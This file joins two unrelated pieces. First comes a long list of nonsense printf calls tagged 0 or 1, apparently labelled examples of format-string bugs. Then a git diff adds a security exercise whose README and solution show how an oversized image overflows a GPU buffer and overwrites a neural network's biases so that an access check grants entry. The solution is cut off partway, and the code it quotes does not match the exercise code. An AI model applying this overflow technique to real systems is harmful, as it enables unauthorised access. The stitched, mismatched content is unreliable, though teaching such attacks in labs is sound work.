0 +printf("splinterproof thrall unblooming myal clackdish upholstery"); 0 +printf("Eucryphia polythalamic gastriloquist ilmenorutile wheelsmith %d", beastie); 0 +printf("bolling Dayakker"); 0 +printf("repressor discompose reverend %d Epilobium bellhouse crypta roperipe", unextolled); 0 +printf("adead %d %s excitomotion ambulant obsidionary prefatorily", rheme, Mah); 0 +printf("prostaticovesical chorology %d glossodynia autoecism", mosquitocidal); 0 +printf("pieless stubbedness pitiless wayleave copesman Mithraistic %s palliation", gelechiid); 0 +printf(bassoonist, osteosynthesis); 1 +printf("manifestedness Anasazi ruthlessly runkly %d victual paraglenal nevermore abashlessly", soaper); 0 +printf("siltage nonfreeman allagostemonous reaggravate"); 0 +printf("%d biddable chupak transtemporal", transvestite); 0 +printf("insnarement soldiery"); 0 +printf("%d Diplopoda acetum gundi leathermaking serotherapy agriology", skeldrake); 0 +printf("Mogul toxonosis"); 0 +printf("%s juristic fidation correlativity lawlike tetrachotomous sulciform pycnium", unorphaned); 0 +printf("impervertible exoterically outflanking cageful %d afterking brachysm pagoda", chatsome); 0 +printf("chirologist biennially antirailwayist confluxibleness bunker %s cassidid embraceably rampick", goodyish); 0 +printf("%s interplanetary bindle compurgator caffoy rhinopharyngitis aortectasis", gladiolar); 0 +printf("querulously theogonist ravensara unadvantageous actinenchyma drafter suggestionism underheaven"); 0 +printf("scrubbily %d sympatheticness", readerdom); 0 +printf(quantitive); 1 +printf("Beneventan phocenin uniate celestina"); 0 +printf("nonoffender %s prodromal gonnardite hepatocirrhosis tachyhydrite dive", valeral); 0 +printf("Schizonemertea ingather Toona"); 0 +printf("tetradiapason sacramentism unappreciativeness volumette prorean microcephaly extraforaneous"); 0 +printf("metempsychosize intrashop %d uncompass %s nonultrafilterable", dabbler, previsive); 0 +printf("tabitude picaresque patera %d barsom parachromatosis ovolemma Delian gasless", omphalode); 0 +printf("%s oxymandelic unharmable enduement womanless dolichotmema unrefrigerated dermomycosis", cassowary); 0 +printf("%d svarabhakti infortitude fumeless mastocarcinoma acroasphyxia acadialite pentecoster tiffy", outrightly); 0 +printf(pseudoclassic, boredom, menticulture); 1 +printf("untangibly cruels quickness %s plenary torulaceous underspring unsensibleness quadrifoil", subjectivize); 0 +printf(outsuitor, assi, obliterable); 1 +printf("counterstimulus reblunder %d cangan pacific", karela); 0 +printf(dyschiria); 1 +printf("jut decelerate tobacconistical %s", omnipresent); 0 +printf("timbersome cerebellum rhyme ultraparallel"); 0 +printf("luxuriantness tambourer clarin ecbatic cresoxy"); 0 +printf("wicken soprani kebab outwear drostdy"); 0 +printf("coneflower collingual craver begging unangrily"); 0 +printf("heteroimmune undertakery synchronized %s nonconscientious unconscient tuberculize shrouding", cryptozygosity); 0 +printf(Origenian); 1 +printf("reassess %d autoinoculable forklike maiden", ungenially); 0 +printf("prothallium caddice cycloolefin"); 0 +printf("ultrasonics billon cavalierish glossopodium rigging notchboard shallowhearted"); 0 +printf("mettle Ilissus satanist befilth"); 0 +printf("overcomplacency"); 0 +printf("turnaround"); 0 +printf(slumward); 1 +printf(medicomoral); 1 +printf("inconvincibly hyperorthognathy germinal setal enmask chordotonal rime"); 0 +printf("Magyarization katabella"); 0 +printf("Tatusiidae tuxedo duramen hermitary"); 0 +printf("semistiff countercommand temporary"); 0 +printf("reeding scan Maglemosean pitchi Timeliidae tumbled"); 0 +printf("diplomatism orchiorrhaphy osteohalisteresis swarthness officialty insulary Deringa Pyrotheria"); 0 +printf("cheve hexacapsular letterless trying"); 0 +printf("puerperal %s renovatingly", fanfare); 0 +printf("splittail lymphadenectasia sorryish unquantified demon unprejudged politeness separate cushy"); 0 +printf("%s", spole); 0 +printf("dancalite Kharoshthi endoneurium screwy Stanly maculose Derbend palliatory"); 0 +printf("lick canard taxed %s", prehazard); 0 +printf("awheft practiced Bromus antivitalist %s %s annihilator", unhome, illusionist); 0 +printf("nonoccurrence"); 0 +printf("cardiagraphy recidivation rosetangle tooter"); 0 +printf("nonprepositional nectarious uncreativeness hoit unjuiced windwardly hydrotechnical metagastrula orinasal"); 0 +printf("meatus conversional Lernaean siderite Haemosporidium tinklingly speckly Tamias"); 0 +printf("%d", dimanganion); 0 +printf("pike isochronous %s kumhar fairish", precariously); 0 +printf("gunboat whirlpool cyatholith proterandry"); 0 +printf("counterreligion %d coadminister syncategorematical unwithstood %d gipsyweed foreyard nonmonogamous", peripherial, leapingly); 0 +printf("picromerite sugar sync Ebionitic manway Chaetochloa nagana"); 0 +printf("mesoperiodic Pycnanthemum %s panegyricon coccerin endotoxin Saul potgirl", latherable); 0 +printf("onus"); 0 +printf("Graham Samnani curvous chai pollenlike kissage"); 0 +printf("crowl niblike religion"); 0 +printf("anamite dilection aerodynamical pseudopodia lecithin necremia yamen Volstead Salicariaceae"); 0 +printf("midsummerish Pasteurian histolytic"); 0 +printf("mundivagant verbatim interpretably %s privative %s", penetral, stiffly); 0 +printf("howk cryogen %s departition", Ichthyornithidae); 0 +printf(evict); 1 +printf("unconcerted undraped"); 0 +printf("nullipara icebreaker unscattered hepatonephric glycosaemia jeopardously"); 0 +printf("bogmire Magnificat %s nonexcommunicable redisseizor abiston stoccado digredience choplogic", xenolite); 0 +printf("hecatontarchy %d paramagnetism magazinage Seric", Zantedeschia); 0 +printf(Caudata); 1 +printf("metazoan %s %d neshness tridrachm invocate", cephalotheca, interreticulation); 0 +printf("Kentish %d Aktivismus carminic", forcleave); 0 +printf("%d pericycloid", cambuca); 0 +printf("cystitis dabble %d", unplied); 0 +printf("bastite Caranx %d %d Asclepiad", glutaric, sugan); 0 +printf("pseudofinal barreled"); 0 +printf("basiotripsy %s buckle", homeopath); 0 +printf(teetotal, centiliter, Varsovian); 1 +printf("premove ebbman helleboraster interproglottidal moroseness demidoctor contriver conche"); 0 +printf(subangular, festivally, stogy); 1 +printf("dunite strontium hygieist %s", mechanistically); 0 +printf("Petasites untouching steamless"); 0 +printf("outre soapless calorifacient preserve"); 0 +printf("dissiliency Siphonocladales lampadite metasomasis"); 0 +printf("phytosociologic waybird stultify"); 0 +printf("doraphobia squinted revealableness kamikaze wearish toothwash %d", drossy); 0 +printf("snappy Elias zoosmosis noma %d phanatron Boswelliana", rapper); 0 +printf("kiekie lend mangue fletcher downcast monandrian lienomedullary yokel"); 0 +printf("fardel"); 0 +printf("replot inscrutability meningism flying dispute"); 0 +printf("diablerie claspt ouf"); 0 +printf("perhydrogenate %s %s resuit epicenity", Armado, entablature); 0 +printf("pendeloque occipitally"); 0 +printf("unfitly %d faunistically loony colitis %s Pedaliaceae", unanimity, telestial); 0 +printf("drugeteria"); 0 +printf("rumormonger dimorphous choachyte sage"); 0 +printf("unornly fishgig Sporochnus Rhacomitrium synangium"); 0 +printf("outsmell octoped roadstead"); 0 +printf(Lycium); 1 +printf("Hydra"); 0 +printf("war morphetic"); 0 +printf("beblister knick untrafficked tameness spodomancy Xenacanthini Pleurosticti amylate Glaucidium"); 0 +printf("thermogeny absinthiate beauish larvicide imperialistic"); 0 +printf("angiasthenia"); 0 +printf("straky Olneya"); 0 +printf("%d whitely", whiny); 0 +printf(inopportunist, distinguishableness, Taruma); 1 +printf(misologist, scumlike); 1 +printf("mukti coliplication alphorn claggum geodetically Parra unbury %s saithe", posteroterminal); 0 +printf("furred preinjure elasmosaur sublicense Phacidiaceae culmiferous apachite"); 0 +printf("mucorioid anticonscription palaeognathic"); 0 +printf("%s husher pan sociologically ericaceous unreprehended", hosteler); 0 +printf("pluvialine undazing complaisantly Fingall %s %d algorism", superpowered, dodecamerous); 0 +printf("mediodorsal %d Lepus altisonous %s retrocedence", undefiledness, undervoice); 0 +printf("octocotyloid photometer macrocephalia vanity %s resizer essayical", grossulariaceous); 0 +printf("refiner Pop %s bicarpellate Barnabite Sylvester %s shredless %s", enigmatist, redouble, Arachne); 0 +printf("frike corespondent heliodon %s pointillism scyphopolyp aristogenics", amanous); 0 +printf("listless %d woodine %d %s anhedron jetsam", delectableness, strobiline, pedicellus); 0 +printf("%d", mitrailleuse); 0 +printf("purser musicophysical colpohysterotomy cyp %d codecree cousinage pokerishness candlewaster", undiscovered); 0 +printf("scabble ungrimed chewink"); 0 +printf("Gnomoniaceae dissimilitude fiduciarily substylar extractible importably %d unobtrusive Asterophyllites", undercoating); 0 +printf("buoyantness"); 0 +printf(unoriginalness); 1 +printf("nonassistive desmacyte Tranzschelia undefending %d centgener %d blazon", impack, daredevilry); 0 +printf("voluptas mechanicalize %s fasciotomy", savioress); 0 +printf("Aclemon unterrorized greenstone certain adrenalectomy abelmosk unshakenly %d", paracmasis); 0 +printf("moneygrubbing Dipodidae choultry outswindle fenchyl dormition"); 0 +printf("altigraph plecotine subarcuation excrescential"); 0 +printf("%s Mazdean", antipyretic); 0 +printf("denaturizer %d", contradictiously); 0 +printf("larine"); 0 +printf("dipicrate %s %d tormentative corvina", camellin, upping); 0 +printf("infirmaress gobo trifarious"); 0 +printf("manque azoflavine woevine Scotic gypsylike searcherlike unfibbing"); 0 +printf("goldsmith teeming propheticality homochiral trinal"); 0 +printf(static, nonbroody); 1 +printf("teave professable Lymantriidae"); 0 +printf("portionize %s eyre missemblance iridosmium decoherer figuline cetorhinoid", aquosity); 0 +printf("sett Diotocardia"); 0 +printf("adornment overburn Hungarian"); 0 +printf("cardstock corytuberine altitude %s Lemnaceae tomorrower microscopics oitava", taxonomer); 0 +printf("incriminate %s polyatomicity %s longingness Balan", orabassu, resalt); 0 +printf("%d noctograph Babelish Blattoidea sheepling suberiferous", muriformly); 0 +printf("serviceability sulphurize khanate disyllabic nonbursting %s %s", cloture, upbelch); 0 +printf("superbenevolent secrecy titien"); 0 +printf("antiextreme %s Sheila %s shankings", nongold, epicly); 0 +printf("mushed"); 0 +printf(kilobar, paragonless); 1 +printf("inquisitorialness"); 0 +printf("flourishable %s hippocentaur", enterocleisis); 0 +printf("kenogenetic dug arecolidin disregardful opiateproof"); 0 +printf("opal %s %d", polyacid, vaultedly); 0 +printf(irretrievably); 1 +printf("unfigured restharrow Quinquagesima deafeningly depancreatization"); 0 +printf(unimmersed); 1 +printf("akroterion multispermous %s", misdesire); 0 +printf("ptenoglossate unshackling vicarly"); 0 +printf("dilacerate %s %d rosarian unguidably unlacquered intellective", misgovern, catwort); 0 +printf("antipodism nuptially schlieren latiseptal"); 0 +printf(tendent, susurringly); 1 +printf("heptahedral cocash prizable adularia proauthor dactyliography fowl"); 0 +printf("bellehood grossify Bart"); 0 +printf("illy suppositional taboret snippish carnifices onymous nonmarket atropaceous"); 0 +printf("%d tellurous backset %s", enjoin, trepostomatous); 0 +printf("alintatao jape"); 0 +printf(corpse); 1 +printf("microbiologic Squilla solutize pinninerved"); 0 +printf("Polyergus %s", undefensible); 0 +printf("sustained Watala rhizogenic consultative bradytrophic Cynodon curlylocks %d", khar); 0 +printf("seedkin modishly"); 0 +printf("shoofly cardophagus infuriation Stomatoda"); 0 +printf("diaplexus archchemic mimicry Anice"); 0 +printf("disenamor nonstimulant hexylene spectrochemical recompliance"); 0 +printf("nonmodal Tuareg misogynist %s signorship pleaproof", Moslemah); 0 +printf("nasopharyngeal reawakening resuscitator %d genitocrural pea snapped", merkhet); 0 +printf("%s", syphiloid); 0 +printf(wristwork, Jateorhiza); 1 +printf("%d mahogany receptoral", Juniperus); 0 +printf("%d awaft undercourtier gangliform", salmonsite); 0 +printf("unencumber sulfoborite duplicident popery harpings sobersided commandment monocoelic wittol"); 0 +printf("reconduction anticatarrhal"); 0 +printf(heald); 1 +printf("perivaginitis noncoagulable dartman cretionary hyperdeterminant reimbursement fallenness"); 0 +printf("duction Calypterae fictious unstow impliedly fabricative Radicula %s", sublateral); 0 +printf("Elijah ascendency %s Puppis trichotomize quiblet electropositive polytonality reproductively", cohortation); 0 +printf("cragsman %s diplopod %d tenderhearted indivision", poluphloisboiotatotic, lovableness); 0 +printf("monticle tabletary salite superjudicial masskanne unturnable departmentization curricularization vaginula"); 0 +printf("mofussil"); 0 +printf("procoelous periphery splatterdock shopkeeperism"); 0 +printf("wizardess spitbox %s %d cryometer bun ritualism restream suprabranchial", hypostatize, sopranino); 0 +printf("trickle totalizator nonfighter"); 0 +printf("naught %s anon antidotal", stiller); 0 +printf("%d tarpan heterophylly", nonsticky); 0 +printf("avives disturnpike unbottom scholasticate jerkin lumbrous sfoot biferous estacade"); 0 +printf("wirelessness backboned"); 0 +printf("Charruan %s diet %d", ramstam, hired); 0 +printf("viragoship"); 0 +printf("tartarous %s xenelasy microsclerum confider athymia Centaurea bathic intentive", cestrum); 0 +printf("osphyitis laurustinus %s discriminateness Melanochroi Nostradamus Cajan", murmuring); 0 +printf("prewrap Clark evocatory Securigera standelwelks scumfish Welf weaky malappropriate"); 0 +printf("Humiriaceous"); 0 +printf("aeschynomenous diploconical kyle unsoldiered"); 0 +printf("Celebesian zapupe schistoscope needlemaking Iconian sowans goblet chiller"); 0 +printf("jingling %d predemocratic gamester interlie", reassail); 0 +printf("Rhagionidae varment"); 0 +printf("Tigris"); 0 +printf("sweetly Cardinalis unpontifical unfactored brachiopod Serbophile"); 0 +printf("fuddle wakeless dassie lambent Ochrana pouchlike"); 0 +printf("%d stereochromic %s arthroxerosis %s", roud, pleurotonic, uncomraded); 0 +printf("homographic ophthalmagra slipover didynamian"); 0 +printf("%d reamputation biographically triethanolamine %d pitchblende pollinivorous splenocele", fuzz, Crossosoma); 0 +printf("hyracodontid slushiness unseen %s %s", synange, perty); 0 +printf("girr %d %s", poral, drusy); 0 +printf("monocyte Schizaeaceae"); 0 +printf("rakan %d conflow jujuism kiskatom traditor", archprince); 0 +printf("malintent %s unexpensively doss %s phoenicopterous visionless %d", Muhlenbergia, twilling, choroidal); 0 +printf("%d", pedagogue); 0 +printf("nipperkin resinize bronzelike doughy postholder velvetlike %s batea", cobcab); 0 +printf("playbook troching perennation Van %d grounds uncircumscriptible potass humaniform", yachan); 0 +printf(tarrish, kimonoed); 1 +printf("gnawing ollock"); 0 +printf(garnetberry, Mesopotamian, griffinhood); 1 +printf("knowe whame"); 0 +printf("backup whirlygigum avowably inhabitiveness Sefekhet"); 0 +printf("supa pseudocarbamide tenline presupposal %s %d subtriangular unpalpitating terrene", whiteworm, Lutheranism); 0 +printf("%s beveil towd unassumingness nosography harpist %d", taxation, superaverage); 0 +printf("tsamba Geat fourteenthly %d Lygeum Phalangeridae dealing", potoo); 0 +printf("pseudonitrosite Hippolytus chlorosilicate akule Ctenodus sonorant gablelike"); 0 +printf("pupillary interwove"); 0 +printf("unstaidness %s Jinny %s unfiring", colorectitis, unamusable); 0 +printf(outgiving, sirky); 1 +printf("auld Tartaric notourly tepidarium sycophantish scarify %d childlessness", peromelous); 0 +printf("document unfeasable trinket siliciuretted pericephalic Howea"); 0 +printf("agatoid odontophoral violate trigeminal %d afterburner satiably Sioux", clubridden); 0 +printf("smoky Illuminism gnosticity pseudolunule Piscataway overwater morphemic hydriotaphia snaste"); 0 +printf("strammel unimpounded trichinoscope erythroneocytosis preadoption chaplain calix"); 0 +printf("butterbush Awan uncommendableness %s", ouenite); 0 +printf("acrologue Scottishly saturnism %s heavity", humifuse); 0 +printf("dismembrate"); 0 +printf("meniality coecum wicker unstretch lecturer undid"); 0 +printf("spinsterly barite antiprojectivity disoxygenate anemoclastic greffier unequipped"); 0 +printf("incoercible waneless %d", acidific); 0 +printf(nonabstention, budding, convallarin); 1 +printf("goodwife abuna alimentive twinlike Quaker ferrier pinnular balinger capitalistically"); 0 +printf("overpensive interattrition"); 0 +printf("spyship shadelessness meritless Bemba didynamous %d pestological modal", chanfrin); 0 +printf(prodivorce, butcher); 1 +printf("hygromatous unverifiedness melitis deprave airish Yeshibah bedcap granulet"); 0 +printf("oont wellaway supralabial emotionalist amang %s", recontribution); 0 +printf("shelling peridiastole pedesis tub"); 0 +printf(grassiness, hemiamblyopia, defilement); 1 +printf(chironomid, transatlantic, misreliance); 1 +printf("Magindanao oleomargaric sniggering %s Teutophobism chresmology outbribe", nonmutual); 0 +printf("phyllosoma"); 0 +printf("commissive stovemaking %s hexadiene mixolydian %s", aglutition, sibship); 0 +printf("rotundifoliate smectis ribskin %d %d nummulary moolet", tritically, liberality); 0 +printf("perotic ninetyfold"); 0 +printf("counterpassion inextricability Bhotia bowdlerize oceanographist glyptologist protochemist izzard"); 0 +printf("resinol %s Cupressus earning tryptonize %d", margeline, choleroid); 0 +printf("overtoil prefigurement anabolin usednt mononymize metasoma"); 0 +printf("scuse regalize kep underplay"); 0 +printf("beglerbegship jostlement parametrium thready cumbrously Heraclitean Heliaea %s undizened", apodictically); 0 +printf("impenetrableness peristylar backwash folliculate pepperwood relativize Limulus algebraic colometric"); 0 +printf("repitch doughmaking gospelize teapotful tylopod spectropyrometer"); 0 +printf("voivode prandially lingula %s alveololingual spiketop stampee inassuageable Talmudistic", severization); 0 +printf(counternatural); 1 +printf("Paraguay %s strobiliferous", gadger); 0 +printf("Brauneberger %s grubber %s rantepole daimen", moonlike, Cascadian); 0 +printf("amidoazobenzene coxcombicality spongioplasm %d painstaking unleft examinationist depress", mythologist); 0 +printf("monocerous inhabitedness totemist %d", mouthless); 0 +printf("Marsupiata"); 0 +printf(bowshot, Guacho, cariacine); 1 +printf("inconcurring"); 0 +printf(hyperalbuminosis, Momotus, metaloph); 1 +printf("ridgebone settler Himyaritic trapmaking Bute interworld polyandrianism Bakuba"); 0 +printf("Ligyda culturine bluecap unappreciable Hitlerism ignorantism"); 0 +printf("unsynonymous macaw antemundane sitosterin Alvan"); 0 +printf("unsolvable rearbitrate whoremasterly veratraldehyde phellem unclimbableness fideist"); 0 +printf("whort lightsomely"); 0 +printf("theochristic utterless exoenzymic Tylerize funambulist shipbreaking sniddle lacunaria bitterhearted"); 0 +printf("osphradial buildable microampere accidently preliability Colombian %s compend", magistrature); 0 +printf("unpainted %s uncorseted", cantaloupe); 0 +printf("Brachioganoidei swain thoracicolumbar Botryopteriaceae"); 0 +printf("Pulicidae dungeonlike Briggsian"); 0 +printf("hackle uninformed %s %s Encephalartos", wreathingly, sweetbriery); 0 +printf("viperan nonpositive tribrach archsin cacophony philomathical xerodermic spelunker self"); 0 +printf("phenolsulphonephthalein preundertake %s suspendibility trichocarpous %s deoxygenation mistutor", deformedly, budget); 0 +printf("vulgar %s parliamentarily %d demisovereign pseudoval", thymectomize, gleyde); 0 +printf("myelinogenetic"); 0 +printf("macrodomatic %s hyperterrestrial", acetaminol); 0 +printf("provocativeness droopy subjugable refocillate arseniosiderite cucullate summable foreshow perseity"); 0 +printf("unfearingly"); 0 +printf("prolongment cicatricle dayshine foredesk meedless duplicity Kiangan corporeally djehad"); 0 +printf("naphthosalol underbite weaponshaw suncherchor figuredly sillyism indicible"); 0 +printf("bothway unsqueamish accidental besleeve"); 0 +printf("glandularly mooseberry"); 0 +printf("harm subsizar subgod porcellanid superepoch pricelessness turnipweed mechanotherapeutic reacquaint"); 0 +printf("unnitrogenized zygosporangium examinable undisguisable Lyonese Caesardom incudal untabernacled %d", Ti); 0 +printf("%s intercharge nominated creedalist", apodema); 0 +printf("catharsis Suevic deafen"); 0 +printf("%s malodorously nondefensive scowlproof", photoisomeric); 0 +printf("fruitstalk %s endoesophagitis heterograft transmentation", Tarsipedinae); 0 +printf(carefree); 1 +printf("toolbuilding mercurialize crossability"); 0 +printf("thatchwork julienite Asteriidae"); 0 +printf("%d %d tritubercular frostroot evolutionism anguilliform hyperapophysis", ictic, uppoint); 0 +printf("pelike sturionine hamlah acephalist dacryocyst ladanigerous comfortable"); 0 +printf("antipatriot bedclothes %d serofibrous abietinic Timaliidae unpityingness", mallein); 0 +printf("succedaneous impunity babaylan nationless exsurgent"); 0 +printf("exhalable ballist unwormed spill spruiker misdecide %s citigrade", Sueve); 0 +printf("noncategorical defluvium eternal chafewax"); 0 +printf("ctenostome nonirate tactuality visually rampageous"); 0 +printf(Inermes, vermiculation); 1 +printf("lactate foddering Pacaguara atour repkie"); 0 +printf("desex viragoish Czech proteosuria %d", Euclideanism); 0 +printf("coadministratrix classwork"); 0 +printf("helpworthy ooangium tuberculinization tempre Bacchical palation thundershower"); 0 +printf("korntunnur toorie %d misericord reiterance Muggletonianism", belly); 0 +printf("bathofloric frisket odontolith Orakzai"); 0 +printf("retrocedence spruer nepenthe photocatalytic unexpostulating"); 0 +printf("serpentize rectotome diphthongization reticulum %s uphoist", prerequire); 0 +printf("scientificophilosophical slosh ultramodernism squallery cofounder %s", instinct); 0 +printf("unmesmeric doubtingness"); 0 +printf("%d %s homoiothermous commodation %d unrespectful befoam Aylesbury Carpodetus", uvulotomy, grammaticaster, unimprovedness); 0 +printf("bifurcal shovelboard Simarouba Rhadamanthys ineradicable gip"); 0 +printf("Embiidae enduement"); 0 +printf(Loammi, sunburnedness); 1 +printf("previously prejudge stockyard extracorpuscular overfactious denter leucophore landways"); 0 +printf("oligotrichia forecatharping conoidal lifeful quintessentially"); 0 +printf(clustered); 1 +printf("Ababdeh alluvious %d unappetizing tileworks craniacromial unironical %d icteric", Arminianizer, vernicose); 0 +printf("umquhile rebury harmfully extorsively %s hexacorallan", circumincession); 0 +printf("vaselet %d peritomy nomogeny usedness secluse pseudochemical mentorism separatical", amar); 0 +printf("forecastle predative apposer caritative"); 0 +printf("restauration preinstallation conniver overliterary Greekless entozoology pronto questionableness"); 0 +printf("unslighted substantiality gymnorhinal coercion protection luckie retrofrontal aquage nonane"); 0 +printf("redouble dilacerate populousness Taruma toshakhana ekacaesium thrill swagbellied"); 0 +printf("nonsymphonic %d eyedrop ozonizer slavepen noncleistogamic smaltine untransferred predeterminism", undevoutly); 0 +printf("poriferan studbook crampon uranin chickhood Conchucu brutism Milner dertrotheca"); 0 +printf("%d spondylocace", intercoastal); 0 +printf("Kaliana mermaid capybara prosubstantive"); 0 +printf("unbetraying %s remeasurement sponsor", squatted); 0 +printf("shakingly kick Choisya"); 0 +printf("Yaka workwomanlike Sextant alienigenate"); 0 +printf("quindecim %s undercompounded pairwise %s cortlandtite", ni, wiredrawer); 0 +printf("emulous"); 0 +printf(Batwa); 1 +printf("biauricular brachistochronous Pali smarm isoprene abbacy expostulatingly Staphylinoidea vibroscope"); 0 +printf("isopropenyl"); 0 +printf("Calinago glaucosuria offenseproof"); 0 +printf("areographical ventroptosia salineness enherit"); 0 +printf(adendritic, messuage, woodskin); 1 +printf("%d Sho", Nabathean); 0 +printf("pseudoenthusiastic"); 0 +printf("diosmose %d tricliniary pulka berried premorality %d Svanish", proposant, pondy); 0 +printf("pilled communion multum westwards pitanga overthrowal mistide %d", paleocosmology); 0 +printf("%d portcullis taskit haughtly", Hehe); 0 +printf("%d thymy expenseful %s scuffler snapwort staphylotomy tissue inclinable", uniconstant, nowness); 0 +printf("inerasible"); 0 +printf("sealine Masora flamenco tankerabogus arboricole plasmolysis"); 0 +printf("sinfonie %d dislegitimate yale storer synaptical donor", donatary); 0 +printf(pyromorphism); 1 +printf(oversleeve); 1 +printf("blepharophthalmia tonguemanship exhibitionistic polymignite"); 0 +printf("beak inaugural gallah undreaming eschewer arboloco lawcraft astrographic"); 0 +printf("demicylinder fauve"); 0 +printf(downbear, truxillic, monsieurship); 1 +printf(Didunculus, myoneme, gonozooid); 1 +printf("zoidiophilous gauging myothermic lithographic celandine %d %d limbless", nephrocyte, pharmacomaniacal); 0 +printf("starlessness flick Acolhua %s Ancyloceras undamaged parasitotropic", pauseless); 0 +printf("granolith Norseland Bajardo %d melodram intracosmical retrorsely %s", flayflint, instrumentist); 0 +printf("cyclotomy"); 0 +printf("loath upreach femic"); 0 +printf("tolerableness endoenzyme nematognath"); 0 +printf("perilenticular timbreled endoproct Moloch filicite"); 0 +printf(underwooded, basidorsal, massiveness); 1 +printf("rangy Cockaigne auscult"); 0 +printf("Eurygaean warriorhood westernization undernourishment multiplicate auriculate"); 0 +printf(farleu, Constance); 1 +printf("%s bussu linometer rigescent paleostyly frisking precancellation transcendentally", reaffect); 0 +printf(unformalized, grader); 1 +printf("indulgently"); 0 +printf(capsulitis); 1 +printf("barret Paulinity felicitation"); 0 +printf("Jahvist gynecologic undrunk policy Axonolipa"); 0 +printf("micropterygid formamido perithyreoiditis coroplasta adsbud hypoadrenia"); 0 +printf("isonitrile inurbaneness %d fledgeless unlime skyscape", unmeddlingly); 0 +printf("antilysis terpineol cynegetics cumbrous"); 0 diff --git a/8_GPUAttack/README.md b/8_GPUAttack/README.md new file mode 100644 index 0000000..e4d8a3c --- /dev/null +++ b/8_GPUAttack/README.md @@ -0,0 +1,9 @@ +# Exercise 8-0 + +You ran across a server that does authorization based on some image on the GPU. You have no access to the model or any other files, but since its some open source project, you are able to read the code. + +- Check out 'exercise.py' to find a possible attack vector. +- Create an input that grants 'Access GRANTED!' to the system. +- While you can modify 'testimage.png', it is probably easier to edit the code in 'exercise.py' above the marked area. + +A solution can be found in 'solution_8_0.py' \ No newline at end of file diff --git a/8_GPUAttack/exercise.py b/8_GPUAttack/exercise.py new file mode 100644 index 0000000..c6fac9b --- /dev/null +++ b/8_GPUAttack/exercise.py @@ -0,0 +1,120 @@ +''' +Please read the README.md for Exercise instructions! +''' + +import pycuda.driver as cuda +import pycuda.autoinit +import numpy as np +from pycuda.compiler import SourceModule +from scipy import misc + + +# Load Image +image = misc.imread('8_GPUAttack/testimage.png') + +# Feel free to edit above this line, so you don't need to +# draw everything in Photoshop or Paint... But nothing +# below! +######################################################### + +width, height = image.shape + +maxWidth = 4 + +if width != height: + print("Image must be square in size and a maximum of 4x4!") + exit() + +linearizedImage = np.zeros(width * height, dtype=np.float32) +for i in range(width): + for j in range(height): + linearizedImage[i * height + j] = image[i][j] / 255.0 + + +processedImage = np.zeros(maxWidth * maxWidth, dtype=np.float32) + +# Allocate Memory for the Images on the GPU +gpuImgSize = np.int32(width) +gpuImage = cuda.mem_alloc(linearizedImage.nbytes) +gpuProcessedImage = cuda.mem_alloc(processedImage.nbytes) + +weights = np.random.random(size=(32)).astype(np.float32) * 0.1 +biases = np.array([1.0, 0.0], dtype=np.float32) +results = np.array([0.0, 0.0], dtype=np.float32) + +# Allocate Memory for the Neural Network on the GPU +gpuWeights = cuda.mem_alloc(weights.nbytes) +gpuBiases = cuda.mem_alloc(biases.nbytes) +gpuResults = cuda.mem_alloc(results.nbytes) + +# Copy over all the Data to the GPU +cuda.memcpy_htod(gpuImage, linearizedImage) +cuda.memcpy_htod(gpuWeights, weights) +cuda.memcpy_htod(gpuBiases, biases) +cuda.memcpy_htod(gpuResults, results) + +# CUDA Source Code for the Preprocessor and Classifier +mod = SourceModule(""" + __global__ void preprocess + ( int imgSize, float *newImg, float *prcImg ) + { + int row = threadIdx.x * imgSize; + + // Lighten the image a bit... + for(int i=0; i<(imgSize); i++) + { + prcImg[row + i] = newImg[row + i] + 0.1; + } + } + + __global__ void classify + ( float *prcImg, float *weights, float *biases, float *results ) + { + // "Fake" Classification using two Neurons + + // Neuron 1 and 2 + float result1 = 0.0; + float result2 = 0.0; + + for(int i=0; i<16; i++) + { + result1 = result1 + prcImg[i] * weights[i]; + result2 = result2 + prcImg[i] * weights[i + 16]; + } + + // ReLu + results[0] = max(result1 + biases[0], 0.0); + results[1] = max(result2 + biases[1], 0.0); + } + """) + +preproc = mod.get_function("preprocess") +classify = mod.get_function("classify") + +# Run the Preprocessor for each Line in the Image +preproc(gpuImgSize, gpuImage, gpuProcessedImage, + block=(width, 1, 1)) + +# Run the Classifier once +classify(gpuProcessedImage, gpuWeights, gpuBiases, gpuResults, + block=(1, 1, 1)) + +# Copy the results from the GPU to the HOST +cuda.memcpy_dtoh(results, gpuResults) + +# Check Access +access = np.argmax(results) + +if access == 0: + print("\nAccess DENIED!\n") +else: + print("\nAccess GRANTED!\n") + + + + +cuda.memcpy_dtoh(weights, gpuWeights) +cuda.memcpy_dtoh(biases, gpuBiases) + +print(weights) +print(biases) \ No newline at end of file diff --git a/8_GPUAttack/solution_8_0.py b/8_GPUAttack/solution_8_0.py new file mode 100644 index 0000000..bce47ef --- /dev/null +++ b/8_GPUAttack/solution_8_0.py @@ -0,0 +1,77 @@ +''' +Solution to Exercise: + +1. We need to identify the security hole, so that we know what we are actually + trying to exploit. The first thing we notice is that the image size check + is faulty: + + image = misc.imread('X_GPUOverflow/testimage.png') + width, height = image.shape + + maxWidth = 4 + + if width != height: + print("Image must be square in size and maximum 4x4!") + exit() + + The maximum width isn't checked. We can thus input any image size. So let's + look at the CUDA code, if there is anything we can exploit on the GPU. Here we + find, that + + // Lighten the image a bit... + for(int i=0; i<(imgSize * imgSize); i++) + { + prcImg[i] = newImg[i] + 0.1; + } + + the image is preprocessed and copied, but using the size of the input image! + However, the processed image is always of size 4x4 --> Buffer overflow! + +2. Next, we have to decide what to do. We want to do a simple last layer attack + and overwrite the biases. Can we do that? Luckily, the memory for the biases is + located after our image! + + gpuImage = cuda.mem_alloc(linearizedImage.size * linearizedImage.dtype.itemsize) + gpuProcessedImage = cuda.mem_alloc(processedImage.size * processedImage.dtype.itemsize) + [...] + gpuWeights = cuda.mem_alloc(weights.size * weights.dtype.itemsize) + gpuBiases = cuda.mem_alloc(biases.size * biases.dtype.itemsize) + +3. Now we have to find the correct spot to overwrite. Sadly, we have all floats and + can't do our standard 'AABBCCDD' kind of guessing. Instead, we'll just use a + ramp of floats by creating a gradient in Photoshop, or simply messing with the + code. We could do something like this: + + width = 17 + height = 17 + perPixel = 255.0 / float(width * height) + image = np.zeros((width, height), dtype=np.float32) + + for i in range(width): + for j in range(height): + image[j][i] = float(width * j + i) * perPixel + + (Note: The width=17 works on our machine and might be different on other + video cards!) + +4. Using the above ramp, we see that [0.9858132 0.98927337] overwrite the Biases. + IMPORTANT: Don't forget that the preprocessing has changed this value!! + So in reality we have [0.8858132 0.88927337] + We find the correct position by multiplying these values by (width*width)=289 